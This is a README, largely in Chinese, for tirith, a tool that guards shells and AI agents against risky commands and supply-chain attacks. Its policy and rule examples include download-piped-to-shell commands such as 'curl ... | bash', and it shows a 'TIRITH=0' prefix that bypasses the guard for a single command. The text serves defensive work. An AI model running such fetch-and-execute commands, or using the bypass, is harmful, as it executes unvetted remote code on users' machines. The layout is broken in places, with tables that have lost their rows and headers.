这是日常使用的命令集。tirith 总共提供 74 个命令,分为 8 个组:扫描与分析、状态与健康、设置、策略与信任、Shell 与系统防护(hygiene、persistence、exec、path、context、ssh、sudo、iac)、供应链、AI 代理集成、以及取证与响应。运行 tirith --help 查看分类列表,或参阅 完整命令参考。全局 --quiet 标志(或 TIRITH_QUIET=1)可静默建议性输出,但不隐藏错误、判定结果或安全通知。
paste、score、diff 和 why 不进行任何网络调用。tirith check(包括 shell 钩子使用的 --approval-check 路径)也在本地分析,但会首先触发一次周期性后台威胁数据库刷新(见下文),因此并非严格离线。tirith check --offline(或 TIRITH_OFFLINE=1)会抑制该刷新并保持完全本地运行。tirith check 和 shell 钩子默认最多每 24 小时触发一次轻量的后台检查(threat_intel.auto_update_hours),以保持已签名数据库的新鲜度。它从不阻塞命令。设置 auto_update_hours: 0 可禁用它,或使用 --offline / TIRITH_OFFLINE=1 在每次调用时抑制。tirith paste 触发它;它直接通过本地引擎。tirith policy init # creates .tirith/policy.yaml in your repo tirith policy validate # check for syntax/schema errors tirith policy test "curl https://example.com | bash" # dry-run against policy
`tirith policy init` 接受 `--template <name>` 参数,用于一个精选的初始策略:```bash
tirith policy init --template individual # solo developer defaults (alias: personal)
tirith policy init --template ci-strict # fail-closed, no bypass, scan fail-on
tirith policy init --template ai-agent-heavy # tuned for heavy AI-agent use
tirith policy init --template oss-maintainer # reviewing contributor-controllable risk
tirith policy init --template startup # small-team balance
tirith policy init --template enterprise # strict, with an active package_policy block
tirith policy init --template mcp-strict # locked-down MCP server and tool trust
每个模板都是一个注释良好、模式有效的策略,你可以进一步编辑。
如果没有指定 --template,tirith policy init 会写入完整的默认策略。
Tirith 使用 YAML 格式的策略文件。查找顺序:
.tirith/policy.yaml(会向上遍历到仓库根目录)allowlist:
blocklist:
severity_overrides: docker_untrusted_registry: CRITICAL
scan: ignore_patterns: - "node_modules" - "target" profiles: ci: include: [".md", ".json", ".yaml", ".claude/"] fail_on: high
使用 `allowlist_rules` 进行规则级抑制:当你信任某个来源遵循某一条规则,但不想将其全局加入白名单时,可使用此方法。```yaml
allowlist_rules:
- rule_id: curl_pipe_shell
patterns:
- "get.docker.com"
tirith trust 用于管理受信任的模式,无需手动编辑策略 YAML。信任默认是窄范围且有过期时间的:信任最具体且有效的内容,条目在 30 天后过期,除非你选择退出。```bash
tirith trust add raw.githubusercontent.com/org/repo/main/get.sh
tirith trust add get.docker.com --broad --rule curl_pipe_shell
tirith trust add example.com --broad --permanent --reason "internal mirror, OPS-42"
tirith trust list # scope class per entry; '!' marks broad ones tirith trust explain example.com # what it covers, when it expires, why added tirith trust diff # what changed in the trust set tirith trust gc --expired # drop expired entries
每个条目的 **scope** 被分类为 `exact`、`substring`、`domain`、`wildcard` 或 `bare-TLD`。宽泛的范围(`domain` / `wildcard` / `bare-TLD`)需要 `--broad`,因此广泛的允许始终是一个有意的选择。所有子命令都支持 `--format json`。由旧版本 tirith 写入的信任存储保持正常工作,没有 TTL 的条目被视为永久有效。
### 升级和操作覆盖
警告按会话进行跟踪。如果同一规则重复触发,升级规则可以升级为阻止:```yaml
action_overrides:
shortened_url: block # always block, regardless of default severity
escalation:
- trigger: repeat_count
rule_ids: ["*"] # any rule
threshold: 5
window_minutes: 60
action: block
- trigger: multi_medium
min_findings: 3 # 3+ medium findings on one command → block
action: block
随时查看累积的警告。```bash tirith warnings # table of session warnings tirith warnings --format json # structured output tirith warnings --clear # clear after viewing
On shell exit, a one-line summary is printed if any warnings were recorded during the session.
More examples in [docs/cookbook.md](https://github.com/sheeki03/tirith/blob/HEAD/docs/cookbook.md).
### Custom detection rules
Author your own rules in `.tirith/policy.yaml` under `custom_rules:`. Each rule is either a `pattern:` (regex) or a `when:` semantic predicate tree, plus a `context:` (`exec`, `paste`, or `file`), a `severity:`, and a `title:`.```yaml
custom_rules:
- id: no_internal_pastebin
context: exec
severity: high
title: "Internal pastebin is not allowed for piped execution"
when:
all:
- command.has_pipeline_to: [bash, sh]
- url.host_matches: "paste\\.corp\\.example$"
when: DSL 将 all:/any:/not: 与诸如 command.has_pipeline_to, command.uses_sudo, url.host, url.host_matches, url.reputation, url.domain_not_in, package.ecosystem, package.name_matches, package.reputation, 和 file.path_matches 之类的谓词结合。信誉谓词读取本地签名的威胁数据库,因此自定义规则在热路径上仍然不会进行网络调用。在提交前进行验证和试运行:```bash
tirith rule validate # check every custom rule: shape + context coverage
tirith rule test --rule no_internal_pastebin --input "echo hi | bash"
tirith rule explain --rule no_internal_pastebin
### 更多策略控制
其他策略键均具有安全默认值(`tirith policy init` 会写入完整的注释版本):
- `package_policy:` 阈值将供应链信号转换为阻止或警告判定(`block_typosquat_distance`、`warn_low_downloads_below`、`block_newer_than_days`、`block_not_found`)。
- `agent_rules:` `allow:` / `deny:` 匹配命令的调用方来源(`{ kind, name }`);`deny` 匹配会强制阻止。`scan.trusted_mcp_servers` 和 `scan.mcp_allowed_tools` 接受特定的 MCP 服务器及每个服务器对应的工具。
- 可选保护开关,默认关闭:`env_guard_enabled`、`exec_guard_enabled`、`hooks_guard_enabled`、`baseline_enabled`,以及 `iac_require_plan_before_apply`、`sudo_require_reason` 和 `allowed_install_domains`。
仓库范围的 `.tirith/policy.yaml` 文件只能收紧策略,不可放宽:试图扩大白名单、降低严重性等级或禁用保护开关的仓库策略会被无效化,`tirith policy effective` 会显示被丢弃的字段。只有用户级和组织级(`TIRITH_POLICY_ROOT`)策略才能放松默认值。
### 严格警告模式
启用 `strict_warn: true`(或通过 CLI 使用 `--strict-warn`)时,中等风险发现将在交互式终端中提示用户明确确认,而非静默发出警告:```
$ curl -sSL https://get.docker.com | sh
tirith: WARNING
[MEDIUM] pipe_to_interpreter, Download piped to interpreter
tirith: proceed with 1 warning(s)? [y/N]
Shell 钩子使用退出码 3 作为 warn-ack 协议。不了解退出码 3 的旧钩子将回退至故障开放(fail-open)行为。
[!NOTE] 退出码 3 是 warn-ack 钩子协议路径,而非常规的直接 CLI 合约。非钩子调用者通常不应看到退出码 3;如果看到,则表示需要确认。
针对你确实清楚自己在做什么的罕见情况:```bash TIRITH=0 curl -L https://something.xyz | bash
这是一个标准的shell单命令前缀;该变量仅对该单个命令生效,不会保留在您的会话中。组织可以通过在策略中设置 `allowbypass_env: false` 来完全禁用它。
> [!CAUTION]
> `TIRITH=0` 是单命令级别的。请勿在 shell 配置文件、dotfiles 或 CI 配置中导出它;永久绕过会破坏整个防护模型。如果您发现自己频繁使用它,应将受信任的来源添加到策略文件中的 `allowlist` 中。
---
## 数据处理
本地 JSONL 审计日志位于 `~/.local/share/tirith/log.jsonl`:
- 时间戳、会话 ID、操作、规则 ID、经过脱敏处理的命令预览
- 原始检测数据(`raw_action`、`raw_rule_ids`)与强制执行的操作一同保留,用于覆盖审计
- 会话警告状态位于 `~/.local/state/tirith/sessions/`
- **不**保存完整命令、环境变量或文件内容
禁用:`export TIRITH_LOG=0`
---
## 文档
- [命令参考](https://github.com/sheeki03/tirith/blob/HEAD/docs/commands.md):所有子命令,按类别分组
- [威胁模型](https://github.com/sheeki03/tirith/blob/HEAD/docs/threat-model.md):tirith 防御的内容及其不防御的内容
- [操作手册](https://github.com/sheeki03/tirith/blob/HEAD/docs/cookbook.md):常见场景的策略示例
- [故障排除](https://github.com/sheeki03/tirith/blob/HEAD/docs/troubleshooting.md):Shell 特性、延迟、误报
- [兼容性](https://github.com/sheeki03/tirith/blob/HEAD/docs/compatibility.md):稳定接口与实验接口
- [安全策略](https://github.com/sheeki03/tirith/blob/HEAD/SECURITY.md):漏洞报告
- [卸载指南](https://github.com/sheeki03/tirith/blob/HEAD/docs/uninstall.md):按 Shell 和包管理器进行干净卸载
功能指南:
- [Agent 治理](https://github.com/sheeki03/tirith/blob/HEAD/docs/agent-governance-design.md)(调用者来源归属和 `agent_rules`)
- [MCP 输出过滤器](https://github.com/sheeki03/tirith/blob/HEAD/docs/mcp-output-filter.md)(网关和 MCP 输出净化合约)
- [诊断模式](https://github.com/sheeki03/tirith/blob/HEAD/docs/doctor-modes.md)(完整 vs `--quick`,以及 JSON 快照模式)
- [LSP 和编辑器配置](https://github.com/sheeki03/tirith/blob/HEAD/docs/lsp-profiles.md)(内联编辑器诊断)
- [浏览器原生消息传递](https://github.com/sheeki03/tirith/blob/HEAD/docs/browser-native-messaging.md)(剪贴板来源主机和扩展)
- [粘贴来源](https://github.com/sheeki03/tirith/blob/HEAD/docs/paste-provenance.md)(`paste_source_mismatch` 规则)
- [蜜令格式](https://github.com/sheeki03/tirith/blob/HEAD/docs/canary-formats.md)(合成蜜令牌格式)
- [提示集成](https://github.com/sheeki03/tirith/blob/HEAD/docs/prompt-integration.md)(将 `tirith prompt-status` 接入 Shell 提示符)
## 许可证
**核心安全覆盖在开源树中提供。** 所有 221 条检测规则和 MCP 服务器均可从源代码获取。存储库中仍包含遗留的许可和策略服务器代码路径,因此请勿假定每个运行时路径都已免除层级。
tirith 采用双重许可:
- **AGPL-3.0-only**:[LICENSE-AGPL](https://github.com/sheeki03/tirith/blob/HEAD/LICENSE-AGPL),根据 Copyleft 条款免费使用
- **商业许可**:[LICENSE-COMMERCIAL](https://github.com/sheeki03/tirith/blob/HEAD/LICENSE-COMMERCIAL),如果 AGPL 的 Copyleft 义务不适用于您的用例,请联系 [email protected] 获取替代许可
第三方数据归属见 [NOTICE](https://github.com/sheeki03/tirith/blob/HEAD/NOTICE)。
## 星标历史
[](https://star-history.com/#sheeki03/tirith&Date)
| 事件 | 年份 | 攻击形态 |
|---|
| Shai-Hulud npm 蠕虫 | 2025 | 自传播的包恶意软件;从 180 多个包中窃取 GitHub 令牌和 AWS 密钥,将发现结果发布到公共 Shai-Hulud 仓库 |
| Slopsquatting | 2023 至今 | 攻击者在 npm / PyPI / crates.io 上注册 LLM 幻觉化的包名;USENIX 2025 发现 58% 的幻觉化名称在多次运行中重复出现 |
| Team PCP / UNC1069 工具集 | 持续 | 入侵后的凭证扫描、/proc/*/mem 读取、Docker 权限提升 |
| colors.js / faker.js 破坏事件 | 2022 | 作者对广泛使用的包进行自我破坏 |
| event-stream 失陷 | 2018 | 所有权转移给攻击者;有效载荷针对比特币钱包 |
| 工具 | 功能 |
|---|
tirith_check_command | 分析 shell 命令中的管道到 shell、同形 URL、环境注入 |
tirith_check_url | 对 URL 进行同形攻击、punycode 技巧、缩短 URL、原始 IP 的评分 |
tirith_check_paste | 检查粘贴内容中的 ANSI 转义、双向控制、零宽度字符 |
tirith_scan_file | 扫描文件中的隐藏内容、不可见的 Unicode、配置投毒 |
tirith_scan_directory | 递归扫描,优先处理 AI 配置文件 |
tirith_verify_mcp_config | 验证 MCP 配置中的不安全服务器、参数中的 shell 注入、通配符工具 |
tirith_fetch_cloaking | 检测服务器端隐藏(针对机器人与浏览器的不同内容) |
mcp_settings.json.github/copilot-instructions.md, .github/agents/*.mdChart.yaml):图表依赖来自不可信的图表仓库package.json:preinstall/install/postinstall 生命周期脚本运行危险命令(管道到 shell、混淆有效载荷、下载并运行);这些钩子在 npm install 时自动运行| 钩子类型 |
|---|
| 已测试版本 |
|---|
| zsh | preexec + paste widget | 5.8+ |
| bash | preexec (两种模式) | 5.0+ |
| fish | fish_preexec 事件 | 3.5+ |
| PowerShell | PSReadLine 处理程序 | 7.0+ |
| Shell | 行为 |
|---|
| bash enter 模式 | 可靠阻止。 绑定 Enter 键;可在 bash 提交执行命令前阻止该命令。仅在能力自检(tirith doctor --simulate-enter)证明 bind -x 传递对当前运行的 bash 有效时才默认使用。 |
bash preexec + TIRITH_BASH_PREEXEC_ENFORCE=1 | 条件阻止。 使用 shopt -s extdebug;当 bash 的 history 能提供可信的整行视图时进行阻止。当历史记录被过滤(HISTCONTROL=ignorespace/ignoredups/ignoreboth、任何 HISTIGNORE,或 set +o history),或别名/命令替换/eval 导致输入行偏离 BASH_COMMAND 时,降级为仅警告。 |
| bash preexec(未设置强制标志) | 仅警告。在风险命令上打印 DETECTED 横幅;不阻止。当 enter 模式自检未证明传递有效时作为回退。 |
| zsh、fish、powershell | 通过原生 preexec 钩子实现可靠阻止。 |
| nushell | 仅警告(目前不支持命令拦截)。 |
| 命令 | 功能 |
|---|
tirith check -- <cmd> | 分析命令而不执行它(--suggest 添加更安全的改写) |
tirith paste | 检查粘贴的内容(由 shell 钩子自动调用) |
tirith scan [path] | 扫描文件、目录和配置(--profile、--format sarif、--ci) |
tirith run <url> | 安全的 curl | bash 替代方案:下载、分析、审查然后执行(Unix) |
tirith fix -- <cmd> | 交互式地将有风险的命令重写为更安全的形式 |
tirith score <url> / diff <url> | 分解 URL 的可信信号,或显示可疑字符隐藏的位置 |
tirith explain --rule <id> / why | 规则文档和修复,或解释上次触发原因 |
tirith status / doctor | 你受到保护了吗?诊断安装、钩子和策略(--fix、--quick) |
tirith setup <tool> / init | 一键 AI 工具设置,或打印 shell 钩子 |
tirith policy {init,validate,test} | 搭建、验证和预运行你的策略 |
tirith trust {add,list,remove} | 管理可信模式(默认范围窄、30 天 TTL) |
tirith threat-db update | 下载并验证已签名的威胁数据库 |
tirith package risk <eco> <name> | 评估包的供应链风险得分 |
tirith ecosystem scan [path] | 评估项目中每个声明的依赖项的得分 |
tirith mcp {lock,verify} | 锁定并把关仓库的 MCP 服务器 |
tirith daemon start | 用于更快检查的后台守护进程(Unix) |
tirith daemon start 是唯一的常驻进程,且为自愿加入。run、fetch 和 audit report --upload 仅在显式调用时才会联网;威胁数据库刷新遵循上述计划。守护进程模式增加了网络感知的 URL 解析,可选的 webhook/策略服务器集成在配置后可发出出站请求。核心检测从不回传。tirith run、fetch --save 和 command-card fetch 默认拒绝私有、回环和云元数据主机,SSRF 防护会重新检查每个重定向跳。设置 TIRITH_ALLOW_PRIVATE_FETCH=1 以允许它们。